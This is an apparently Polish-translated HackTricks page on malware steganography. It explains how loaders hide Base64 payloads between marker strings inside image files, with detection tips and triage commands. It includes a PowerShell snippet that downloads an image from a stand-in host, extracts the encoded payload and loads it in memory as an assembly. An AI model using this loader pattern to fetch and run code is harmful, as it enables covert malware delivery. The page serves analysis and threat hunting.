Malware & Network Stego
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Nie cała steganografia opiera się na pixel LSB; commodity malware często ukrywa payloads wewnątrz pozornie prawidłowych plików.
Praktyczne wzorce
Payloads oddzielone markerami w prawidłowych obrazach
Jeśli obraz jest pobierany i natychmiast parsowany jako tekst/Base64 przez skrypt, payload często jest oddzielony markerami, a nie ukrywany na poziomie pikseli.
Commodity loaders coraz częściej ukrywają Base64 payloads jako tekst jawny wewnątrz pozornie prawidłowych obrazów (często GIF/PNG). Zamiast LSB na poziomie pikseli, payload jest oddzielony unikalnymi ciągami markerów osadzonymi w tekście/metadanych pliku. Stager następnie:
- Pobiera obraz przez HTTP(S)
- Lokalizuje markery startu/końca
- Wydobywa tekst pomiędzy markerami i dekoduje go z Base64
- Ładuje/wykonuje w pamięci
Minimal PowerShell carving snippet:
$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}
Notatki:
- ATT&CK: T1027.003 (steganography)
- Wykrywanie/polowanie:
- Skanuj pobrane obrazy w poszukiwaniu sekwencji ograniczających.
- Oznacz skrypty, które pobierają obrazy i od razu wywołują rutyny dekodujące Base64 (PowerShell
FromBase64String, JSatob, itd.). - Szukaj niezgodności content-type w HTTP (
image/*response, ale body zawiera długi ASCII/Base64).
Inne miejsca o silnym sygnale, gdzie ukryć payloady
These are typically faster to check than content-level pixel stego:
- Metadane: EXIF/XMP/IPTC, PNG
tEXt/iTXt/zTXt, JPEGCOM/APPnsegments. - Bajty końcowe: dane dołączone po formalnym znaczniku końca (np. po PNG
IEND). - Osadzone archiwa: ZIP/7z osadzone lub dołączone i rozpakowywane przez loader.
- Polyglots: pliki stworzone tak, aby były poprawne dla wielu parserów (np. image + script + archive).
Polecenia triage
file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample
Źródła:
- Unit 42 — przykład: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
- Poligloty formatów plików i triki kontenerowe: https://github.com/corkami/docs
- Aperi’Solve (webowy triage steganografii): https://aperisolve.com/
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


